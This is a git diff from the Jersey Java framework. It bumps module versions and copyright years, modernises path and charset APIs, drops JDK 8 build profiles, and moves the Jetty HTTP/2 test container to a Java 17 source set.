@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <groupId>org.glassfish.jersey.security</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/HmaSha1Method.java b/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/HmaSha1Method.java index ee770cd..0809552 100644 --- a/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/HmaSha1Method.java +++ b/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/HmaSha1Method.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,7 +16,6 @@ package org.glassfish.jersey.oauth1.signature; -import java.io.UnsupportedEncodingException; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; @@ -25,6 +24,8 @@ import org.glassfish.jersey.uri.UriComponent; +import static java.nio.charset.StandardCharsets.UTF_8; + /** * An OAuth signature method that implements HMAC-SHA1. @@ -78,11 +79,7 @@ byte[] key; - try { - key = buf.toString().getBytes("UTF-8"); - } catch (UnsupportedEncodingException uee) { - throw new IllegalStateException(uee); - } + key = buf.toString().getBytes(UTF_8); SecretKeySpec spec = new SecretKeySpec(key, SIGNATURE_ALGORITHM);
diff --git a/security/oauth2-client/pom.xml b/security/oauth2-client/pom.xml index 4001d94..ae8fb37 100644 --- a/security/oauth2-client/pom.xml +++ b/security/oauth2-client/pom.xml
@@ -21,7 +21,7 @@ <parent> <groupId>org.glassfish.jersey.security</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/security/pom.xml b/security/pom.xml index bfe13e6..391868b 100644 --- a/security/pom.xml +++ b/security/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.security</groupId>
diff --git a/test-framework/core/pom.xml b/test-framework/core/pom.xml index c26482f..b97ef75 100644 --- a/test-framework/core/pom.xml +++ b/test-framework/core/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-test-framework-core</artifactId> @@ -40,7 +40,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> </dependency> <dependency> <groupId>org.glassfish.jersey.core</groupId>
diff --git a/test-framework/maven/container-runner-maven-plugin/pom.xml b/test-framework/maven/container-runner-maven-plugin/pom.xml index b84c7b3..50277c6 100644 --- a/test-framework/maven/container-runner-maven-plugin/pom.xml +++ b/test-framework/maven/container-runner-maven-plugin/pom.xml
@@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework.maven</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>container-runner-maven-plugin</artifactId> @@ -304,44 +304,5 @@ </pluginManagement> </build> </profile> - <profile> - <id>jdk_8</id> - <activation> - <jdk>1.8</jdk> - </activation> - <properties> - <groovy.version>${groovy.jdk8.version}</groovy.version> - </properties> - <dependencies> - <dependency> - <groupId>org.apache.groovy</groupId> - <artifactId>groovy-all</artifactId> - <type>pom</type> - <version>${groovy.version}</version> - <exclusions> - <exclusion> - <groupId>com.fasterxml.jackson.core</groupId> - <artifactId>jackson-core</artifactId> - </exclusion> - <exclusion> - <groupId>com.fasterxml.jackson.core</groupId> - <artifactId>jackson-databind</artifactId> - </exclusion> - <exclusion> - <groupId>org.junit.jupiter</groupId> - <artifactId>junit-jupiter-api</artifactId> - </exclusion> - <exclusion> - <groupId>org.junit.jupiter</groupId> - <artifactId>junit-jupiter-engine</artifactId> - </exclusion> - <exclusion> - <groupId>org.junit.platform</groupId> - <artifactId>junit-platform-commons</artifactId> - </exclusion> - </exclusions> - </dependency> - </dependencies> - </profile> </profiles> </project>
diff --git a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/RunnerMojo.groovy b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/RunnerMojo.groovy index b04c36b..865afb7 100644 --- a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/RunnerMojo.groovy +++ b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/RunnerMojo.groovy
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ import org.apache.maven.project.MavenProject import java.nio.file.Files -import java.nio.file.Paths +import java.nio.file.Path import java.util.regex.Pattern /** @@ -96,7 +96,7 @@ def command = string.split(" +(?=((.*?(?<!\\\\)'){2})*[^']*\$)") - return command?.length > 0 && Files.exists(Paths.get(command[0])) ? command : ["sh"] + return command?.length > 0 && Files.exists(Path.of(command[0])) ? command : ["sh"] } abstract Map commonEnvironment() @@ -184,8 +184,8 @@ sb.append(System.lineSeparator()) def matcher = Pattern.compile("(#![^\r\n]*)(.*)", Pattern.DOTALL).matcher(new String(shellContent)) def string = matcher.matches() ? matcher.replaceFirst("\$1${sb.toString()}\$2") : sb.append(shellContent).toString() - Paths.get(scriptsDirectory).toFile().mkdirs() - def reExecutableShell = Paths.get(scriptsDirectory, Paths.get(shell).fileName.toString()) + Path.of(scriptsDirectory).toFile().mkdirs() + def reExecutableShell = Path.of(scriptsDirectory, Path.of(shell).fileName.toString()) Files.write(reExecutableShell, string.bytes) getLog().info("Re-executable shell written to: $reExecutableShell") } catch (Exception e) {
diff --git a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/gf4/AbstractGlassfishRunnerMojo.groovy b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/gf4/AbstractGlassfishRunnerMojo.groovy index c72b020..9d8a6ba 100644 --- a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/gf4/AbstractGlassfishRunnerMojo.groovy +++ b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/gf4/AbstractGlassfishRunnerMojo.groovy
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ import org.codehaus.gmavenplus.mojo.AbstractGroovyMojo import org.glassfish.jersey.test.maven.runner.RunnerMojo -import java.nio.file.Paths +import java.nio.file.Path /** * Abstract class for all Glassfish4 related mojos. * @@ -58,8 +58,8 @@ @Override void execute() throws MojoExecutionException, MojoFailureException { - asHome = Paths.get(asHome).isAbsolute() ? asHome : Paths.get(distDir, distSubdir, asHome) - logFile = Paths.get(logFile).isAbsolute()? logFile : Paths.get(asHome, "domains", domain, "logs", logFile) + asHome = Path.of(asHome).isAbsolute() ? asHome : Path.of(distDir, distSubdir, asHome) + logFile = Path.of(logFile).isAbsolute()? logFile : Path.of(asHome, "domains", domain, "logs", logFile) executeRunner() }
diff --git a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/tomcat/AbstractTomcatRunnerMojo.groovy b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/tomcat/AbstractTomcatRunnerMojo.groovy index d98b59d..2b041e8 100644 --- a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/tomcat/AbstractTomcatRunnerMojo.groovy +++ b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/tomcat/AbstractTomcatRunnerMojo.groovy
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ import org.codehaus.gmavenplus.mojo.AbstractGroovyMojo import org.glassfish.jersey.test.maven.runner.RunnerMojo -import java.nio.file.Paths +import java.nio.file.Path /** * Abstract class for all Tomcat related mojos. * @@ -47,8 +47,8 @@ @Override void execute() throws MojoExecutionException, MojoFailureException { - catalinaHome = Paths.get(catalinaHome).isAbsolute() ? catalinaHome : Paths.get(distDir, distSubdir, catalinaHome) - logFile = logFile ?: Paths.get(catalinaHome, "logs", "catalina.out").toString() + catalinaHome = Path.of(catalinaHome).isAbsolute() ? catalinaHome : Path.of(distDir, distSubdir, catalinaHome) + logFile = logFile ?: Path.of(catalinaHome, "logs", "catalina.out").toString() executeRunner() }
diff --git a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/wls/AbstractWlsRunnerMojo.groovy b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/wls/AbstractWlsRunnerMojo.groovy index 3fa9ffd..6232472 100644 --- a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/wls/AbstractWlsRunnerMojo.groovy +++ b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/wls/AbstractWlsRunnerMojo.groovy
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ import org.codehaus.gmavenplus.mojo.AbstractGroovyMojo import org.glassfish.jersey.test.maven.runner.RunnerMojo -import java.nio.file.Paths +import java.nio.file.Path /** * Abstract class for all Weblogic related mojos. @@ -52,8 +52,8 @@ @Override void execute() throws MojoExecutionException, MojoFailureException { - mwHome = Paths.get(mwHome).isAbsolute() ? mwHome : Paths.get(distDir, distSubdir, mwHome) - logFile = logFile ?: Paths.get(mwHome, domain, "wls.log").toString() + mwHome = Path.of(mwHome).isAbsolute() ? mwHome : Path.of(distDir, distSubdir, mwHome) + logFile = logFile ?: Path.of(mwHome, domain, "wls.log").toString() executeRunner() }
diff --git a/test-framework/maven/custom-enforcer-rules/pom.xml b/test-framework/maven/custom-enforcer-rules/pom.xml index e7ccf4e..9638c14 100644 --- a/test-framework/maven/custom-enforcer-rules/pom.xml +++ b/test-framework/maven/custom-enforcer-rules/pom.xml
@@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework.maven</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>custom-enforcer-rules</artifactId>
diff --git a/test-framework/maven/pom.xml b/test-framework/maven/pom.xml index 66da100..aed9cc7 100644 --- a/test-framework/maven/pom.xml +++ b/test-framework/maven/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/test-framework/memleak-test-common/pom.xml b/test-framework/memleak-test-common/pom.xml index be40dbf..7159554 100644 --- a/test-framework/memleak-test-common/pom.xml +++ b/test-framework/memleak-test-common/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>memleak-test-common</artifactId>
diff --git a/test-framework/memleak-test-common/src/main/java/org/glassfish/jersey/test/memleak/common/MemoryLeakUtils.java b/test-framework/memleak-test-common/src/main/java/org/glassfish/jersey/test/memleak/common/MemoryLeakUtils.java index d519d3f..ecfe68e 100644 --- a/test-framework/memleak-test-common/src/main/java/org/glassfish/jersey/test/memleak/common/MemoryLeakUtils.java +++ b/test-framework/memleak-test-common/src/main/java/org/glassfish/jersey/test/memleak/common/MemoryLeakUtils.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ import java.lang.reflect.Method; import java.nio.charset.Charset; import java.nio.file.Files; -import java.nio.file.Paths; +import java.nio.file.Path; import java.util.Arrays; import java.util.List; import java.util.regex.Pattern; @@ -121,7 +121,7 @@ throws InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, IOException { conditionallyInitHotSpotDiagnosticMXBean(); try { - java.nio.file.Files.deleteIfExists(Paths.get(fileName)); + java.nio.file.Files.deleteIfExists(Path.of(fileName)); } catch (IOException e) { // do nothing and try to go further }
diff --git a/test-framework/pom.xml b/test-framework/pom.xml index 5d7da44..035c115 100644 --- a/test-framework/pom.xml +++ b/test-framework/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.test-framework</groupId>
diff --git a/test-framework/providers/bundle/pom.xml b/test-framework/providers/bundle/pom.xml index ec8f3bc..567e835 100644 --- a/test-framework/providers/bundle/pom.xml +++ b/test-framework/providers/bundle/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework.providers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-test-framework-provider-bundle</artifactId>
diff --git a/test-framework/providers/external/pom.xml b/test-framework/providers/external/pom.xml index 53c0504..de96b04 100644 --- a/test-framework/providers/external/pom.xml +++ b/test-framework/providers/external/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework.providers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-test-framework-provider-external</artifactId>
diff --git a/test-framework/providers/grizzly2/pom.xml b/test-framework/providers/grizzly2/pom.xml index b3fd19e..5f02011 100644 --- a/test-framework/providers/grizzly2/pom.xml +++ b/test-framework/providers/grizzly2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework.providers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-test-framework-provider-grizzly2</artifactId> @@ -36,7 +36,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> </dependency> <dependency>
diff --git a/test-framework/providers/inmemory/pom.xml b/test-framework/providers/inmemory/pom.xml index 7af40a2..43304a5 100644 --- a/test-framework/providers/inmemory/pom.xml +++ b/test-framework/providers/inmemory/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework.providers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-test-framework-provider-inmemory</artifactId>
diff --git a/test-framework/providers/jdk-http/pom.xml b/test-framework/providers/jdk-http/pom.xml index 56fce13..a2aa21e 100644 --- a/test-framework/providers/jdk-http/pom.xml +++ b/test-framework/providers/jdk-http/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework.providers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-test-framework-provider-jdk-http</artifactId>
diff --git a/test-framework/providers/jetty-http2/pom.xml b/test-framework/providers/jetty-http2/pom.xml index caffc01..fb76dcf 100644 --- a/test-framework/providers/jetty-http2/pom.xml +++ b/test-framework/providers/jetty-http2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.test-framework.providers</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -31,6 +31,13 @@ <description>Jersey Test Framework - Jetty HTTP2 container</description> + <properties> + <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory> + <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> + <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory> + <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory> + </properties> + <dependencies> <dependency> <groupId>org.glassfish.jersey.test-framework</groupId> @@ -44,56 +51,15 @@ </dependency> </dependencies> - <properties> - <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory> - <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory> - <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory> - <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> - </properties> - <profiles> <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> - <build> - <directory>${java8.build.outputDirectory}</directory> - <plugins> - <plugin> - <groupId>org.codehaus.mojo</groupId> - <artifactId>build-helper-maven-plugin</artifactId> - <executions> - <execution> - <phase>generate-sources</phase> - <goals> - <goal>add-source</goal> - </goals> - <configuration> - <sources> - <source>${java8.sourceDirectory}</source> - </sources> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-compiler-plugin</artifactId> - <configuration> - <testExcludes> - <testExclude>org/glassfish/jersey/test/jetty/http2/*.java</testExclude> - </testExcludes> - </configuration> - </plugin> - </plugins> - </build> - </profile> - <profile> - <id>Jetty11</id> - <activation> - <jdk>[11,)</jdk> - </activation> + <properties> + <jetty.version>${jetty11.version}</jetty.version> + </properties> <build> <directory>${java11.build.outputDirectory}</directory> <plugins> @@ -114,17 +80,54 @@ </execution> </executions> </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> + <configuration> + <testExcludes> + <testExclude>org/glassfish/jersey/test/jetty/http2/*.java</testExclude> + </testExcludes> + </configuration> + </plugin> </plugins> </build> </profile> <profile> - <id>copyJDK11FilesToMultiReleaseJar</id> + <id>Jetty17</id> + <activation> + <jdk>[17,)</jdk> + </activation> + <build> + <directory>${java17.build.outputDirectory}</directory> + <plugins> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <executions> + <execution> + <phase>generate-sources</phase> + <goals> + <goal>add-source</goal> + </goals> + <configuration> + <sources> + <source>${java17.sourceDirectory}</source> + </sources> + </configuration> + </execution> + </executions> + </plugin> + </plugins> + </build> + </profile> + <profile> + <id>copyJDK17FilesToMultiReleaseJar</id> <activation> <file> <!-- ${java11.build.outputDirectory} does not work here --> - <exists>target11/classes/org/glassfish/jersey/test/jetty/JettyHttp2TestContainerFactory.class</exists> + <exists>target17/classes/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.class</exists> </file> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> @@ -145,16 +148,16 @@ <inherited>true</inherited> <executions> <execution> - <id>copy-jdk11-classes</id> + <id>copy-jdk17-classes</id> <phase>prepare-package</phase> <goals> <goal>copy-resources</goal> </goals> <configuration> - <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory> + <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory> <resources> <resource> - <directory>${java11.build.outputDirectory}/classes</directory> + <directory>${java17.build.outputDirectory}/classes</directory> </resource> </resources> </configuration> @@ -166,14 +169,14 @@ <artifactId>maven-antrun-plugin</artifactId> <executions> <execution> - <id>copy-jdk11-sources</id> + <id>copy-jdk17-sources</id> <phase>package</phase> <configuration> <target> - <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> + <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> <echo>sources-jar: ${sources-jar}</echo> <zip destfile="${sources-jar}" update="true"> - <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/> + <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/> </zip> </target> </configuration> @@ -188,4 +191,4 @@ </profile> </profiles> -</project> +</project> \ No newline at end of file
diff --git a/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java index cd4980f..22e0a3c 100644 --- a/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java +++ b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java
@@ -15,6 +15,6 @@ */ /** - * Jersey test framework for Jetty HTTP/2 Container. + * Jersey test framework for Jetty 11 HTTP/2 Container. */ package org.glassfish.jersey.test.jetty.http2;
diff --git a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java index e63f057..44fa02a 100644 --- a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java +++ b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
@@ -16,111 +16,21 @@ package org.glassfish.jersey.test.jetty.http2; -import java.net.URI; -import java.util.logging.Level; -import java.util.logging.Logger; - -import jakarta.ws.rs.core.UriBuilder; - -import org.glassfish.jersey.client.ClientConfig; -import org.glassfish.jersey.jetty.http2.JettyHttp2ContainerFactory; +import jakarta.ws.rs.ProcessingException; +import org.glassfish.jersey.jetty.http2.LocalizationMessages; import org.glassfish.jersey.test.DeploymentContext; import org.glassfish.jersey.test.spi.TestContainer; -import org.glassfish.jersey.test.spi.TestContainerException; import org.glassfish.jersey.test.spi.TestContainerFactory; -import org.glassfish.jersey.test.spi.TestHelper; -import org.eclipse.jetty.server.Connector; -import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.server.ServerConnector; - +import java.net.URI; /** * Factory for testing {@link JettyHttp2ContainerFactory}. * */ public final class JettyHttp2TestContainerFactory implements TestContainerFactory { - private static class JettyHttp2TestContainer implements TestContainer { - - private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName()); - - private URI baseUri; - private final Server server; - - private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) { - final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build(); - - if (!"/".equals(base.getRawPath())) { - throw new TestContainerException(String.format( - "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.", - base.getRawPath())); - } - - this.baseUri = base; - - if (LOGGER.isLoggable(Level.INFO)) { - LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI " - + TestHelper.zeroPortToAvailablePort(baseUri)); - } - - this.server = JettyHttp2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false); - } - - @Override - public ClientConfig getClientConfig() { - return null; - } - - @Override - public URI getBaseUri() { - return baseUri; - } - - @Override - public void start() { - if (server.isStarted()) { - LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started."); - } else { - LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer..."); - try { - server.start(); - - if (baseUri.getPort() == 0) { - int port = 0; - for (final Connector connector : server.getConnectors()) { - if (connector instanceof ServerConnector) { - port = ((ServerConnector) connector).getLocalPort(); - break; - } - } - - baseUri = UriBuilder.fromUri(baseUri).port(port).build(); - - LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri); - } - } catch (Exception e) { - throw new TestContainerException(e); - } - } - } - - @Override - public void stop() { - if (server.isStarted()) { - LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer..."); - try { - this.server.stop(); - } catch (Exception ex) { - LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex); - } - } else { - LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped."); - } - } - } - @Override public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { - return new JettyHttp2TestContainer(baseUri, context); + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } }
diff --git a/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java new file mode 100644 index 0000000..e63f057 --- /dev/null +++ b/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java
